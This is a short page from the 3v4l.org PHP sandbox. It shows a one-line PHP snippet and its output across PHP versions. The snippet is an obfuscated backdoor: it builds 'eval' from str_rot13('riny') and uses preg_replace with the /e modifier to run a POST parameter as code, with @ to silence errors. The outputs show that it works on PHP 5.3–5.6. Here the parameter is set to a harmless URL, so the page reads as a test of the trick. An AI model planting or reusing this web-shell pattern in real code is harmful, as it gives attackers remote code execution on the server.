3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $_POST['dak'] = "http://google.com"; if(isset($_POST['dak'])){ var_dump(($www = $_POST['dak']) && @preg_replace('/ad/e', '@' . str_rot13('riny') . '($www)', 'add')); }
based on TPQat
Output for 7.0.0 - 7.2.0
bool(false)
Output for 5.3.22 - 5.6.28
bool(true)